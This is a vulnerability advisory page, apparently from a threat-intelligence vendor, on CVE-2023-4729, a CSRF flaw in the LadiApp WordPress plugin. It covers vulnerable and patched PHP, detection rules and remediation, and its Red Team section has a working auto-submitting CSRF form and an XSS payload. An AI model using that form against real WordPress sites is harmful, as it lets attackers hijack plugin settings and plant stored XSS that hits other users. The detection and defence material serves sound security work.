CVE-2023-4729
Executive Summary
CVE-2023-4729 is a Cross-Site Request Forgery (CSRF) vulnerability in the LadiApp WordPress plugin, affecting versions up to and including 4.4. The vulnerability exists in the publish_lp() function, which is accessible via an AJAX action without a nonce check. This allows an unauthenticated attacker to forge requests that, when triggered by a logged-in administrator (e.g., by clicking a malicious link), can change the LadiPage key. Since the attacker controls the new key, they can create arbitrary pages, including those containing stored XSS payloads. The CVSS score is 4.3 (Medium), with a low EPSS probability of exploitation (0.0%). No official patch has been released, making this a persistent risk for WordPress sites using the plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The LadiApp plugin is distributed via the WordPress Plugin Directory and is not an NPM, PyPI, Go, or Ruby package. Therefore, supply chain risks are limited to the plugin’s update mechanism and the trustworthiness of the vendor (Ladiapp). Since no patch is available, site administrators must consider removing or disabling the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – The attack is performed remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – The attacker does not need authentication.
- User Interaction: Required (UI:R) – The victim must click a link or perform an action.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: Low (I:L) – The attacker can modify the LadiPage key and create pages.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS via created pages elevates the risk, especially if the attacker can inject malicious scripts that affect other users.
Deep Dive & Mechanics
The vulnerability resides in the publish_lp() function within the LadiApp plugin. This function is registered as an AJAX action for both authenticated and unauthenticated users, but it lacks a nonce check. A nonce is a security token that ensures the request originates from the intended user. Without it, an attacker can craft a malicious HTTP request (e.g., via a link or form submission) that, when executed by an administrator, changes the LadiPage key.
The LadiPage key is a critical setting that controls page creation. By setting it to a value of their choice, the attacker can then create arbitrary pages, including those containing stored XSS. The stored XSS can be triggered when other users (including other admins) visit the compromised page, leading to session hijacking, credential theft, or further compromise.
Attack Flow:
- Attacker crafts a CSRF payload targeting the AJAX endpoint (e.g.,
/wp-admin/admin-ajax.php?action=publish_lp&key=attacker_controlled_key). - Attacker tricks an authenticated administrator into clicking the link (e.g., via email, social engineering).
- The administrator’s browser sends the forged request, changing the LadiPage key.
- Attacker uses the new key to create a page with malicious JavaScript.
- Other users visiting the page execute the XSS payload.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable code to a hypothetical secure implementation.
Vulnerable Code (LadiApp <= 4.4):
add_action('wp_ajax_publish_lp', 'publish_lp');
add_action('wp_ajax_nopriv_publish_lp', 'publish_lp');
function publish_lp() {
// No nonce check
$key = $_POST['key'];
update_option('ladipage_key', $key);
echo 'Key updated';
wp_die();
}
Patched Code (Hypothetical):
add_action('wp_ajax_publish_lp', 'publish_lp');
// Remove nopriv action to require authentication
// add_action('wp_ajax_nopriv_publish_lp', 'publish_lp'); // Removed
function publish_lp() {
// Add nonce check
if (!wp_verify_nonce($_POST['_wpnonce'], 'publish_lp_nonce')) {
wp_die('Invalid nonce');
}
// Also check user capabilities
if (!current_user_can('manage_options')) {
wp_die('Insufficient permissions');
}
$key = sanitize_text_field($_POST['key']);
update_option('ladipage_key', $key);
echo 'Key updated';
wp_die();
}
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with LadiApp plugin version <= 4.4.
- An authenticated administrator session (the victim).
Exploit Steps:
- Identify the AJAX endpoint:
http://target/wp-admin/admin-ajax.php - Craft a CSRF payload. Since no nonce is required, a simple GET or POST request suffices. Example HTML form:
<html>
<body>
<form action="http://target/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="publish_lp">
<input type="hidden" name="key" value="attacker_controlled_key">
<input type="submit" value="Click me">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
- Host the HTML file and send the link to the victim administrator.
- Once the victim clicks, the LadiPage key is changed.
- Use the new key to create a page with stored XSS (e.g., via the LadiApp page builder).
- The XSS payload can be:
<script>alert('XSS');</script>
Note: No public exploit code from Exploit-DB is available.
Blue Team
Detection:
- Monitor for unusual AJAX requests to
admin-ajax.phpwithaction=publish_lpfrom unauthenticated or unexpected sources. - Look for changes to the
ladipage_keyoption in the database. - Alert on creation of new pages by non-admin users or with suspicious content.
Hunting:
- Search logs for
publish_lpaction calls without a valid nonce. - Review page content for injected JavaScript.
Lab Setup:
- Use a local WordPress instance with LadiApp plugin installed.
- Simulate the attack by sending the CSRF payload as an administrator.
- Observe the key change and subsequent page creation.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/wp-admin/admin-ajax.phpwithaction=publish_lpand akeyparameter. - File: New pages created in the WordPress database with
post_typeset toladipageor similar. - Log: WordPress debug log entries showing
publish_lpfunction calls without nonce. - Database:
wp_optionstable whereoption_nameisladipage_keyandoption_valueis an unexpected string. - Behavior: Unauthorized page creation by non-admin users.
Detection Engineering
YARA Rule
rule CVE_2023_4729_LadiApp_CSRF {
meta:
description = "Detects CSRF exploitation attempts against LadiApp plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-4729"
strings:
$ajax_action = "action=publish_lp"
$key_param = "key="
condition:
$ajax_action and $key_param
}
Sigma Rule
title: CVE-2023-4729 LadiApp CSRF Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the LadiApp publish_lp AJAX action without a nonce.
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=publish_lp'
condition: selection
falsepositives:
- Legitimate plugin updates (if patched)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-4729 LadiApp CSRF Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=publish_lp"; http_client_body; content:"key="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the LadiApp plugin until a patch is released.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=publish_lpfrom unauthenticated users. - Educate administrators about phishing attacks that trick them into clicking malicious links.
Long-term Fix:
- The vendor must add a nonce check to the
publish_lp()function and restrict it to authenticated users with proper capabilities. - Monitor the WordPress Plugin Directory for updates.
Workaround:
- Use a security plugin (e.g., Wordfence) to add CSRF protection to AJAX endpoints.
- Manually patch the plugin by adding
wp_verify_nonce()and capability checks (see patched code above).
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.